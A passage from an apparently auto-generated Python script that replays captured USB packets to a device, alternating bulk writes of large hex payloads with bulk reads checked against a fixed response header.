b\"\\x06\\x48\\xAE\\x84\\x3C\\x96\\x64\\xDE\\xAA\\xD1\\x8D\\xA2\\xDB\\x27\\xB3\\x6F\"\n b\"\\x94\\xB6\\xEB\\xF3\\x87\\xC7\\x53\\xDF\\x8D\\xFE\\x84\\x98\\xFF\\x86\\x78\\x13\"\n b\"\\xC1\\xA7\\xC4\\xFD\\x4B\\x25\\x32\\x72\\x22\\x90\\xF2\\x9C\\x0E\\xE1\\xBE\\x58\"\n b\"\\xBD\\xF9\\x83\\x0C\\xA9\\x71\\x22\\xE6\\xDA\\x21\\x16\\xD7\\x70\\xD8\\x65\\xF9\"\n b\"\\x8D\\x21\\x4F\\xC3\\x9A\\xAE\\x70\\xD3\\xD5\\x59\\x5F\\xDC\\x68\\x42\\x87\\x6A\"\n b\"\\xBB\\x2C\\x78\\x23\\xF2\\xA8\\x6F\\xAC\\xF3\\x92\\x28\\x0A\\xF3\\x04\\xF5\\xF2\"\n b\"\\x17\\xF0\\xC8\\x2D\\xBD\\x35\\x1C\\x24\\x05\\x2C\\x41\\x7E\\xD6\\xBA\\xEE\\x3B\"\n b\"\\x2B\\x01\\x3D\\x28\\xBC\\x15\\x87\\x22\\x80\\x43\\xD9\\x9A\")\n # Generated from packet 2771/2772\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2771/2772\")\n # Generated from packet 2773/2774\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2E\\x3A\\xE0\\x5B\\xFA\\x2B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x37\\x55\\xC6\\x86\\x66\\x10\\xFF\\xEE\"\n b\"\\xDA\\x28\\xDD\\xC7\\x09\\x7C\\x98\\x62\\x61\\xCF\\xA5\\x3F\\xA0\\x7C\\x87\\x14\"\n b\"\\xEB\\x11\\xF3\\x3B\\x63\\x0D\\x2A\\xFC\\x32\\x2A\\x7D\\xB2\\x4F\\x98\\xFE\\xE2\"\n b\"\\xB3\\xCC\\xAD\\xE3\\x78\\x42\\x82\\x28\\x10\\x89\\xE5\\x04\\x28\\x8A\\x0B\\xDE\"\n b\"\\xD7\\xD5\\x62\\x9E\\xCB\\xD5\\x30\\x8B\\xA5\\x0A\\x8D\\x77\\x03\\xBA\\x0E\\xD1\"\n b\"\\x16\\xBA\\xC2\\xE5\\xE1\\xB6\\x90\\x78\\xDA\\xDD\\x46\\x58\\x62\\x7D\\x61\\x26\"\n b\"\\x59\\x2F\\x15\\xCE\\x43\\x5A\\x77\\x51\\x4B\\x93\\x49\\x5E\\x64\\x83\\x69\\x56\"\n b\"\\x8E\\x58\\xA3\\x82\\xAA\\x13\\x7A\\x99\\x6B\\xC2\\xC8\\x74\\x01\\x68\\xD6\\xD4\"\n b\"\\xCB\\x7A\\x02\\x78\\xDC\\xA6\\xEF\\x0D\\x9C\\xF2\\xCA\\xF7\\x8E\\xA3\\x55\\xD2\"\n b\"\\xFA\\x12\\x3E\\x76\\x71\\xCB\\x60\\x5A\\x09\\xFE\\xD7\\x19\\xB0\\xF7\\x7F\\x5D\"\n b\"\\x5C\\x11\\x87\\x30\\xDB\\xB0\\x12\\x25\\x22\\x8F\\xF3\\xFC\\x12\\x7E\\x9D\\x52\"\n b\"\\x94\\x29\\x68\\x06\\x2F\\x21\\x8A\\x51\\xB1\\xB8\\x45\\xEE\\x70\\x51\\x57\\x7A\"\n b\"\\xF7\\x5D\\x8B\\xB2\\xA0\\x70\\xBD\\x88\\x43\\xF7\\xEE\\x0E\\x9D\\x42\\xB6\\x07\"\n b\"\\xCC\\x24\\xA0\\x1E\\xB2\\x83\\x29\\x3D\\x16\\x25\\x6B\\x66\\x7E\\xE0\\x82\\xAE\"\n b\"\\xDB\\xDA\\x5C\\x64\\x81\\x4C\\x1B\\x8D\\xFD\\x3D\\xED\\xB3\\x30\\x72\\x7C\\xEB\"\n b\"\\xAC\\x61\\x0D\\x53\\x80\\x6B\\x34\\x84\\xC7\\x19\\x4C\\x78\\x4C\\x27\\x6D\\xC4\"\n b\"\\xA2\\xAD\\xEF\\x32\\x2D\\xC4\\x5A\\xF2\\xC3\\xE8\\x2B\\xBE\")\n # Generated from packet 2775/2776\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2775/2776\")\n # Generated from packet 2777/2778\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE0\\x6A\\xEE\\x4F\\x4F\\x01\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0A\\x3A\\x67\\x83\\xC1\\x6F\\xEC\\xE5\"\n b\"\\xED\\x57\\xEF\\x0B\\x37\\xA8\\xB0\\x62\\x77\\xB4\\xB0\\x30\\x62\\xDA\\x6F\\x8D\"\n b\"\\x9E\\x7C\\xDF\\x0E\\x38\\x69\\xDF\\xC2\\x0C\\x9E\\xD3\\x90\\x91\\xA5\\xB8\\x46\"\n b\"\\xB1\\x1D\\x18\\x61\\xCF\\x26\\x4A\\x15\\x27\\x3C\\x3F\\x77\\xB8\\x34\\xF6\\x49\"\n b\"\\xB7\\x1B\\xE6\\x69\\xBF\\xF1\\x3D\\xA3\\x6B\\xD5\\x76\\x7A\\x70\\x14\\xA7\\xC8\"\n b\"\\x9D\\x7E\\x0D\\xD6\\x3D\\xB4\\x1F\\x02\\x91\\xA3\\xC3\\xEF\\xE4\\xE3\\x97\\xCA\"\n b\"\\x1E\\xF1\\xC6\\x55\\x3B\\x85\\x77\\x3E\\x9F\\x0E\\xAE\\x60\\xB3\\x76\\x9B\\xD7\"\n b\"\\xF0\\xCF\\x92\\x7F\\xB4\\x23\\x74\\x87\\xD9\\xA4\\xD5\\x12\\xCC\\x5D\\xEA\\xF3\"\n b\"\\x15\\x6D\\x1B\\x9D\\xBB\\xEB\\x4C\\x68\\xEF\\x50\\x44\\x8A\\xB8\\xCE\\xDD\\x45\"\n b\"\\x07\\x0F\\x34\\x57\\x93\\x88\\x38\\x8B\\x5B\\xDF\\x15\\xBD\\x61\\x3C\\x92\\xEE\"\n b\"\\xE7\\xE2\\x27\\xB6\\xEE\\xB3\\x41\\xA0\\xF7\\xCD\\xE6\\x29\\xD4\\x69\\x40\\x6B\"\n b\"\\x8F\\x01\\x85\\x82\\x47\\xA4\\xBF\\x5C\\x8D\\xFE\\x29\\x1B\\x64\\x82\\x58\\xED\"\n b\"\\x5A\\x4F\\x17\\x7C\\x02\\xD3\\x04\\x0D\\xBA\\xFF\\x0E\\x34\\x6D\\xB8\\x7C\\x4C\"\n b\"\\x91\\x33\\x42\\x6D\\x2D\\xDD\\xC8\\xEF\\xDB\\x52\\xA1\\x5A\\x1B\\xBC\\x8D\\x2B\"\n b\"\\x57\\x78\\x3E\\x33\\x6A\\x2C\\x2A\\xBB\\xCB\\xC6\\x59\\xEB\\xFF\\xF7\\xF3\\x12\"\n b\"\\x8C\\xD9\\x0E\\xEB\\xA6\\xE3\\x19\\x64\\x99\\xF3\\x56\\x93\\xB6\\xFC\\xEB\\x88\"\n b\"\\x6E\\x4A\\x38\\xE6\\x91\\x03\\x71\\x62\\x86\\x8C\\x70\\x58\")\n # Generated from packet 2779/2780\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2779/2780\")\n # Generated from packet 2781/2782\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB2\\x9B\\xFC\\x73\\x37\\x22\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x91\\xF6\\x4B\\xDF\\x6E\\xF4\\x62\\x9E\"\n b\"\\x72\\xF4\\x30\\x8B\\x1C\\x2B\\x8D\\x77\\xBA\\x9B\\x0E\\xD1\\xAF\\x9B\\xC2\\xE5\"\n b\"\\x58\\x97\\x90\\x78\\x63\\xFC\\x46\\x58\\xDB\\x5C\\x61\\x26\\xE0\\x0E\\x15\\xCE\"\n b\"\\xFA\\x7B\\x77\\x51\\xF2\\xB2\\x49\\x5E\\xDD\\xA2\\x69\\x56\\x37\\x79\\xA3\\x82\"\n b\"\\x13\\x32\\x7A\\x99\\xD2\\xE3\\xC8\\x74\\xB8\\x49\\xD6\\xD4\\x72\\x5B\\x02\\x78\"\n b\"\\x65\\x87\\xEF\\x0D\\x25\\xD3\\xCA\\xF7\\x37\\x82\\x55\\xD2\\x43\\x33\\x3E\\x76\"\n b\"\\xC8\\xEA\\x60\\x5A\\xB0\\xDF\\xD7\\x19\\x09\\xD6\\x7F\\x5D\\xE5\\x30\\x87\\x30\"\n b\"\\x62\\x91\\x12\\x25\\x9B\\xAE\\xF3\\xFC\\xAB\\x5F\\x9D\\x52\\x2D\\x08\\x68\\x06\"\n b\"\\x96\\x00\\x8A\\x51\\x08\\x99\\x45\\xEE\\xC9\\x70\\x57\\x7A\\x4E\\x7C\\x8B\\xB2\"\n b\"\\x19\\x51\\xBD\\x88\\xFA\\xD6\\xEE\\x0E\\x24\\x63\\xB6\\x07\\x75\\x05\\xA0\\x1E\"\n b\"\\x0B\\xA2\\x29\\x3D\\xAF\\x04\\x6B\\x66\\xC7\\xC1\\x82\\xAE\\x62\\xFB\\x5C\\x64\"\n b\"\\x38\\x6D\\x1B\\x8D\\x44\\x1C\\xED\\xB3\\x89\\x53\\x7C\\xEB\\x15\\x40\\x0D\\x53\"\n b\"\\x39\\x4A\\x34\\x84\\x7E\\x38\\x4C\\x78\\xF5\\x06\\x6D\\xC4\\x1B\\x8C\\xEF\\x32\"\n b\"\\x94\\xE5\\x5A\\xF2\\x7A\\xC9\\x2B\\xBE\\xBE\\x7A\\x33\\x83\\xEA\\x6E\\xBB\\x22\"\n b\"\\x00\\x1D\\xEB\\x16\\x31\\xB7\\x12\\x65\\x1F\\x4A\\xEB\\x4F\\x25\\x5D\\x64\\x70\"\n b\"\\x35\\x12\\x93\\x5F\\x3A\\xAF\\x88\\x87\\x8C\\x7C\\xE6\\x78\\xC5\\x35\\x62\\x6F\"\n b\"\\x4A\\x34\\x58\\x28\\xEC\\x34\\xCE\\xF5\\x14\\xD0\\x3A\\xC8\")\n # Generated from packet 2783/2784\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2783/2784\")\n # Generated from packet 2785/2786\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7C\\xCB\\xF2\\x67\\xB8\\x2B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAA\\x90\\x5C\\x93\\xF9\\x6B\\xC2\\x27\"\n b\"\\xA1\\x62\\x93\\x41\\xB7\\x7B\\xED\\xE6\\x3E\\x58\\x49\\x40\\x7C\\x03\\x21\\x85\"\n b\"\\x95\\xCB\\x84\\xBF\\x4B\\x01\\xDE\\x29\\x0C\\xE8\\xA2\\x58\\xFA\\xD6\\x6F\\x17\"\n b\"\\x6B\\x8E\\xF3\\x04\\x1A\\x36\\xDF\\x0E\\x23\\xE1\\x98\\x7C\\x5B\\x1D\\x13\\x42\"\n b\"\\x7A\\xA1\\xFD\\xC8\\xF8\\x57\\x72\\xA1\\x4D\\x97\\x9C\\x8D\\x3C\\xDB\\x58\\x3E\"\n b\"\\x24\\xE6\\x0C\\x2A\\xAC\\x47\\xE6\\x59\\xFC\\x73\\xD7\\xF3\\x05\\x00\\xF9\\x0E\"\n b\"\\xFC\\x2A\\xC3\\x19\\x73\\x15\\xD3\\x56\\x84\\x3A\\xDC\\xEB\\x9F\\xE2\\x6A\\x38\"\n b\"\\xF1\\x1D\\x23\\x71\\x75\\x0A\\xAC\\x70\\x4F\\x4D\\x0A\\x70\\xD9\\x90\\xF2\\x94\"\n b\"\\x2D\\xAD\\x2D\\x3E\\xE8\\x79\\x24\\x86\\xF1\\x24\\x7E\\x55\\x67\\x8B\\x3B\\xA8\"\n b\"\\xDC\\x58\\x28\\x3F\\xC8\\xE2\\x22\\x03\\x9E\\xBC\\x9A\\x63\\xAB\\x9F\\x03\\x29\"\n b\"\\x6B\\x71\\x99\\xAD\\xA7\\x1C\\x8C\\x3A\\x8B\\xEA\\xA4\\x13\\xA3\\x18\\x87\\x3B\"\n b\"\\x09\\xE9\\x72\\x61\\xAE\\x3A\\x60\\xA8\\xA0\\x34\\x5C\\xA6\\xEA\\xC9\\xB7\\xA7\"\n b\"\\xA9\\xDE\\xAF\\x25\\xDB\\x50\\x1E\\xA0\\x73\\xCD\\xBA\\x17\\xB8\\xC6\\xB4\\x83\"\n b\"\\xB6\\x6C\\xE0\\x6D\\x49\\x36\\xA8\\xE0\\x14\\xF8\\xAA\\xDB\\x6B\\x8E\\xC5\\xB3\"\n b\"\\x02\\x77\\xDE\\x4A\\x45\\x61\\xF1\\xD1\\xC1\\x56\\x93\\x9A\\x74\\x3F\\x8F\\x5D\"\n b\"\\xF5\\x38\\xFA\\x01\\xB4\\x6D\\xE3\\x93\\x84\\x91\\x88\\x6C\\x9D\\x24\\x6A\\xD8\"\n b\"\\xCC\\x77\\x3E\\xAA\\x70\\xC7\\x49\\x0D\\xC4\\x98\\x4A\\x9F\")\n # Generated from packet 2787/2788\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2787/2788\")\n # Generated from packet 2789/2790\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x16\\x79\\xD9\\x0B\\xB5\\x1D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF2\\xB4\\x11\\xEF\\x6B\\xE6\\xEE\\x2F\"\n b\"\\x82\\xF4\\x7A\\xA8\\x8E\\x28\\xB2\\xFF\\xA3\\x1E\\x88\\x1C\\x24\\x4D\\x0E\\xC2\"\n b\"\\x91\\x15\\x07\\x93\\xF7\\x03\\x1E\\xED\\x50\\x8A\\x3D\\x49\\xF6\\xC8\\x66\\x21\"\n b\"\\x33\\x21\\xAE\\x84\\x09\\xFF\\x64\\xDE\\x9F\\xB8\\x8D\\xA2\\xEE\\x4E\\xB3\\x6F\"\n b\"\\xA1\\xDF\\xEB\\xF3\\xB2\\xAE\\x53\\xDF\\xB8\\x97\\x84\\x98\\xCA\\xEF\\x78\\x13\"\n b\"\\xF4\\xCE\\xC4\\xFD\\x7E\\x4C\\x32\\x72\\x17\\xF9\\xF2\\x9C\\x3B\\x88\\xBE\\x58\"\n b\"\\x88\\x90\\x83\\x0C\\x9C\\x18\\x22\\xE6\\xEF\\x48\\x16\\xD7\\x45\\xB1\\x65\\xF9\"\n b\"\\xB8\\x48\\x4F\\xC3\\xAF\\xC7\\x70\\xD3\\xE0\\x30\\x5F\\xDC\\x5D\\x2B\\x87\\x6A\"\n b\"\\x8E\\x45\\x78\\x23\\xC7\\xC1\\x6F\\xAC\\xC6\\xFB\\x28\\x0A\\xC6\\x6D\\xF5\\xF2\"\n b\"\\x22\\x99\\xC8\\x2D\\x88\\x5C\\x1C\\x24\\x30\\x45\\x41\\x7E\\xE3\\xD3\\xEE\\x3B\"\n b\"\\x1E\\x68\\x3D\\x28\\x89\\x7C\\x87\\x22\\xB5\\x2A\\xD9\\x9A\\xD5\\x1F\\xFA\\x03\"\n b\"\\x9F\\xDF\\x14\\x99\\x1B\\x13\\x79\\x8C\\x8C\\x3F\\x8F\\xA4\\xA5\\x17\\x7D\\x87\"\n b\"\\x8D\\xBD\\x8C\\x72\\xD7\\x1A\\x5F\\x60\\x1E\\x14\\x51\\x5C\\x10\\x5E\\xAC\\xB7\"\n b\"\\x11\\x1D\\xBB\\xAF\\x93\\x6F\\x35\\x1E\\x16\\xC7\\xA8\\xBA\\xA1\\x0C\\xA3\\xB4\"\n b\"\\x35\\x02\\x09\\xE0\\xDB\\xFD\\x53\\xA8\\x56\\xA0\\x9D\\xAA\\x6D\\xDF\\xEB\\xC5\"\n b\"\\x05\\xB6\\x12\\xDE\\xFC\\xF1\\x04\\xF1\\x67\\x75\\x33\\x93\\x2C\\xC0\\x5A\\x8F\"\n b\"\\xEB\\x41\\x5D\\xFA\\xB7\\x00\\x08\\xE3\\x25\\x30\\xF4\\x88\")\n # Generated from packet 2791/2792\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2791/2792\")\n # Generated from packet 2793/2794\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD8\\x29\\xD7\\x1F\\xB0\\x62\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xCF\\xD3\\x08\\x26\\x76\\xC7\\xD8\\x91\"\n b\"\\xC9\\x9E\\x83\\x8B\\xC9\\x37\\xFF\\xA9\\xC8\\x71\\xEE\\x68\\x3B\\xCA\\x87\\x39\"\n b\"\\x63\\xB3\\xEE\\x85\\x5B\\x91\\xC7\\x56\\x0F\\xD4\\x62\\x3E\\xBC\\xE9\\x3F\\xFF\"\n b\"\\x0F\\xCB\\x14\\xB4\\x62\\xBF\\x3B\\x3C\\x7E\\x66\\xFC\\x6D\\x59\\x31\\xB2\\x10\"\n b\"\\xEB\\xB2\\xE2\\xEC\\xBF\\xE1\\xE3\\x27\\x31\\xCE\\x28\\x4F\\xFA\\xA9\\x04\\x77\"\n b\"\\xF9\\x47\\xDE\\x88\\xA6\\x2E\\x9E\\x94\\xA6\\x7C\\x8B\\xFA\\x79\\xC1\\x77\\x5C\"\n b\"\\xC9\\x42\\xD1\\x49\\xC9\\x8E\\xE5\\xBE\\xC5\\xDC\\x78\\x85\\xAE\\x0A\\x58\\x3D\"\n b\"\\x0E\\x2D\\x26\\x06\\x5C\\x59\\xCE\\x1C\\x29\\x3B\\x51\\x14\\xE0\\x05\\x5E\\x3B\"\n b\"\\xF0\\x25\\x56\\xD1\\x2B\\xEF\\x82\\xF5\\x60\\x36\\x99\\x34\\xB1\\x84\\x74\\x5E\"\n b\"\\x1B\\x9A\\xD4\\x94\\x09\\x4E\\x78\\x83\\xD5\\xA3\\x0D\\xC3\\x81\\x86\\xF7\\xD1\"\n b\"\\xD0\\x19\\xD2\\xA5\\x61\\x72\\x76\\x2E\\xB8\\x2C\\x5A\\x56\\x8D\\x9B\\x19\\xEF\"\n b\"\\x84\\x33\\x5D\\x03\\x62\\xCB\\x30\\x84\\xC3\\x5E\\x25\\x7D\\xFC\\xBF\\xFC\\x4D\"\n b\"\\x0D\\xD1\\x52\\xCB\\x5A\\x24\\x06\\x70\\x52\\xC6\\x51\\xEE\\xCB\\x09\\xEE\\x2F\"\n b\"\\x22\\x1B\\x7A\\xA8\\x2E\\xC7\\xB2\\xFF\\x03\\xF1\\x88\\x1C\\x84\\xA2\\x0E\\xC2\"\n b\"\\x31\\xFA\\x07\\x93\\x57\\xEC\\x1E\\xED\\xF0\\x65\\x3D\\x49\\x56\\x27\\x66\\x21\"\n b\"\\x93\\xCE\\xAE\\x84\\xA9\\x10\\x64\\xDE\\x3F\\x57\\x8D\\xA2\\x4E\\xA1\\xB3\\x6F\"\n b\"\\x01\\x30\\xEB\\xF3\\x12\\x41\\x53\\xDF\\x18\\x78\\x84\\x98\")\n # Generated from packet 2795/2796\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2795/2796\")\n # Generated from packet 2797/2798\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8A\\xD8\\xC5\\x23\\x95\\x2F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x97\\x45\\xAA\\xF2\\x4E\\xA8\\x1B\\x9D\"\n b\"\\xE0\\x2E\\x4C\\x68\\xB4\\x95\\x44\\x8A\\xE3\\x0B\\xDD\\x45\\x5C\\xCA\\x34\\x57\"\n b\"\\xC8\\x4D\\x38\\x8B\\x00\\x1A\\x15\\xBD\\x3A\\xF9\\x92\\xEE\\xBC\\x27\\x27\\xB6\"\n b\"\\xB5\\x76\\x41\\xA0\\xAC\\x08\\xE6\\x29\\x8F\\xAC\\x40\\x6B\\xD4\\xC4\\x85\\x82\"\n b\"\\x1C\\x61\\xBF\\x5C\\xD6\\x3B\\x29\\x1B\\x3F\\x47\\x58\\xED\\x01\\x8A\\x17\\x7C\"\n b\"\\x59\\x16\\x04\\x0D\\xE1\\x3A\\x0E\\x34\\x36\\x7D\\x7C\\x4C\\xCA\\xF6\\x42\\x6D\"\n b\"\\x76\\x18\\xC8\\xEF\\x80\\x97\\xA1\\x5A\\x40\\x79\\x8D\\x2B\\x0C\\xBD\\x3E\\x33\"\n b\"\\x31\\xE9\\x2A\\xBB\\x90\\x03\\x59\\xEB\\xA4\\x32\\xF3\\x12\\xD7\\x1C\\x0E\\xEB\"\n b\"\\xFD\\x26\\x19\\x64\\xC2\\x36\\x56\\x93\\xED\\x39\\xEB\\x88\\x35\\x8F\\x38\\xE6\"\n b\"\\xCA\\xC6\\x71\\x62\\xDD\\x49\\x70\\x58\\x9A\\xEF\\x70\\xCE\\x47\\x17\\x94\\x3A\"\n b\"\\x7A\\xC8\\x3E\\xFF\\xAE\\xC1\\x86\\xE6\\xF3\\x9B\\x55\\x70\\x5C\\xDE\\xA8\\xCB\"\n b\"\\x8F\\xCD\\x3F\\xDF\\x35\\xC7\\x03\\x89\\x6B\\x7F\\x63\\xBC\\x48\\xE6\\x29\\x7C\"\n b\"\\xA6\\x7C\\xAD\\xB0\\xCB\\x69\\x3A\\x9C\\x3D\\x41\\x13\\xB4\\xCF\\x62\\x3B\\x1E\"\n b\"\\x3E\\x97\\x61\\xB9\\xED\\x85\\xA8\\xB7\\xE3\\xB9\\xA6\\xFD\\x1E\\x52\\xA7\\xBE\"\n b\"\\x09\\x4A\\x25\\xCC\\x87\\xFB\\xA0\\x64\\x1A\\x5F\\x17\\xAF\\x11\\x51\\x83\\xA1\"\n b\"\\xBB\\x05\\x6D\\x5E\\xE1\\x4D\\xE0\\x03\\x2F\\x4F\\xDB\\x7C\\x59\\x20\\xB3\\x15\"\n b\"\\xA0\\x3B\\x4A\\x52\\xB6\\x14\\xD1\\xD6\\x81\\x76\\x9A\\x63\")\n # Generated from packet 2799/2800\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2799/2800\")\n # Generated from packet 2801/2802\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x44\\x88\\xCB\\x37\\x57\\x6F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE3\\xBC\\x4C\\xF1\\x70\\x52\\xCB\"\n b\"\\xA6\\x85\\x06\\x70\\xAE\\x67\\x51\\xEE\\x37\\xA8\\xEE\\x2F\\xDE\\xBA\\x7A\\xA8\"\n b\"\\xD2\\x66\\xB2\\xFF\\xFF\\x50\\x88\\x1C\\x78\\x03\\x0E\\xC2\\xCD\\x5B\\x07\\x93\"\n b\"\\xAB\\x4D\\x1E\\xED\\x0C\\xC4\\x3D\\x49\\xAA\\x86\\x66\\x21\\x6F\\x6F\\xAE\\x84\"\n b\"\\x55\\xB1\\x64\\xDE\\xC3\\xF6\\x8D\\xA2\\xB2\\x00\\xB3\\x6F\\xFD\\x91\\xEB\\xF3\"\n b\"\\xEE\\xE0\\x53\\xDF\\xE4\\xD9\\x84\\x98\\x96\\xA1\\x78\\x13\\xA8\\x80\\xC4\\xFD\"\n b\"\\x22\\x02\\x32\\x72\\x4B\\xB7\\xF2\\x9C\\x67\\xC6\\xBE\\x58\\xD4\\xDE\\x83\\x0C\"\n b\"\\xC0\\x56\\x22\\xE6\\xB3\\x06\\x16\\xD7\\x19\\xFF\\x65\\xF9\\xE4\\x06\\x4F\\xC3\"\n b\"\\xF3\\x89\\x70\\xD3\\xBC\\x7E\\x5F\\xDC\\x01\\x65\\x87\\x6A\\xD2\\x0B\\x78\\x23\"\n b\"\\x9B\\x8F\\x6F\\xAC\\x9A\\xB5\\x28\\x0A\\x9A\\x23\\xF5\\xF2\\x7E\\xD7\\xC8\\x2D\"\n b\"\\xD4\\x12\\x1C\\x24\\x6C\\x0B\\x41\\x7E\\xBF\\x9D\\xEE\\x3B\\x42\\x26\\x3D\\x28\"\n b\"\\xD5\\x32\\x87\\x22\\xE9\\x64\\xD9\\x9A\\x89\\x51\\xFA\\x03\\xC3\\x91\\x14\\x99\"\n b\"\\x47\\x5D\\x79\\x8C\\xD0\\x71\\x8F\\xA4\\xF9\\x59\\x7D\\x87\\xD1\\xF3\\x8C\\x72\"\n b\"\\x8B\\x54\\x5F\\x60\\x42\\x5A\\x51\\x5C\\x4C\\x10\\xAC\\xB7\\x4D\\x53\\xBB\\xAF\"\n b\"\\xCF\\x21\\x35\\x1E\\x4A\\x89\\xA8\\xBA\\xFD\\x42\\xA3\\xB4\\x69\\x4C\\x09\\xE0\"\n b\"\\x87\\xB3\\x53\\xA8\\x0A\\xEE\\x9D\\xAA\\x31\\x91\\xEB\\xC5\\x59\\xF8\\x12\\xDE\"\n b\"\\xA0\\xBF\\x04\\xF1\\x3B\\x3B\\x33\\x93\\x70\\x8E\\x5A\\x8F\")\n # Generated from packet 2803/2804\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2803/2804\")\n # Generated from packet 2805/2806\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFF\\xB6\\x06\\x60\\xF5\\x0E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF7\\x2D\\x90\\x26\\x40\\xF4\\xC2\\xC2\"\n b\"\\xA3\\x82\\x04\\xE4\\xCB\\xE4\\x1B\\xD9\\x9C\\x89\\x27\\x60\\x35\\x19\\x91\\xDF\"\n b\"\\x6C\\x42\\x8B\\xDF\\xC5\\x3E\\xA9\\xDE\\x83\\x2F\\x68\\x2D\\x38\\x46\\x39\\x75\"\n b\"\\x41\\x2F\\x85\\x4D\\x63\\x06\\x56\\x19\\x26\\xA3\\x3E\\xAA\\x1B\\xFE\\xFF\\x19\"\n b\"\\x39\\xD5\\xB4\\x74\\x4D\\xFA\\x3C\\x68\\x94\\x3D\\x6D\\x4F\\xC3\\x73\\x10\\xFD\"\n b\"\\x40\\x23\\xEC\\xA9\\x13\\x22\\x27\\x27\\x3C\\xE9\\x4F\\xEC\\x5B\\xC5\\x77\\xEF\"\n b\"\\xB5\\x1F\\x88\\xB0\\xDC\\x5F\\x94\\xB0\\x8E\\x4A\\xFA\\x6F\\x33\\xB6\\x5C\\xDF\"\n b\"\\xB0\\x10\\x49\\xDF\\x7C\\x24\\xBE\\xD3\\x2E\\xB9\\x85\\xB8\\xF8\\x99\\x3D\\x18\"\n b\"\\xDF\\xE7\\x06\\x4A\\xAB\\x0F\\x1C\\x3F\\xC9\\x90\\x14\\xF6\\xF7\\x9F\\x3B\\xE6\"\n b\"\\xD7\\x97\\xD1\\x3D\\x1D\\x43\\xF5\\x76\\xC4\\x58\\x34\\xA7\\x76\\xB5\\x5E\\x0D\"\n b\"\\x68\\x15\\x94\\x1F\\xBC\\xB9\\x83\\xC3\\x51\\xCC\\xC3\\x97\\x74\\x36\\xD1\\xC6\"\n b\"\\xEB\\x13\\xA5\\x77\\x80\\xB7\\x2E\\xAE\\xDE\\x9B\\x56\\x9B\\x69\\xD8\\xEF\\x92\"\n b\"\\xC1\\x9C\\x03\\x74\\x39\\xF1\\x84\\xD5\\xAC\\xE4\\x7D\\xEA\\x4D\\x3D\\x4D\\x1B\"\n b\"\\x23\\x93\\xCB\\x4C\\xD6\\xC7\\x70\\x44\\x34\\x90\\xEE\\xDD\\xFB\\x2F\\x2F\\x34\"\n b\"\\xE9\\xBB\\xA8\\x38\\x35\\x73\\xFF\\x15\\x03\\x49\\x1C\\x92\\x50\\xCF\\xC2\\x27\"\n b\"\\x08\\xC6\\x93\\x41\\x1E\\xDF\\xED\\xE6\\x97\\xFC\\x49\\x40\\xD5\\xA7\\x21\\x85\"\n b\"\\x3C\\x6F\\x84\\xBF\\xE2\\xA5\\xDE\\x29\\xA5\\x4C\\xA2\\x58\")\n # Generated from packet 2807/2808\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2807/2808\")\n # Generated from packet 2809/2810\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x31\\xE6\\x08\\x74\\xDF\\x5C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7C\\xA1\\xF4\\x75\\x08\\xB0\\x3C\\x68\"\n b\"\\xD1\\x77\\x6D\\x4F\\x86\\x39\\x10\\xFD\\x05\\x69\\xEC\\xA9\\x56\\x68\\x27\\x27\"\n b\"\\x79\\xA3\\x4F\\xEC\\x1E\\x8F\\x77\\xEF\\xF0\\x55\\x88\\xB0\\x99\\x15\\x94\\xB0\"\n 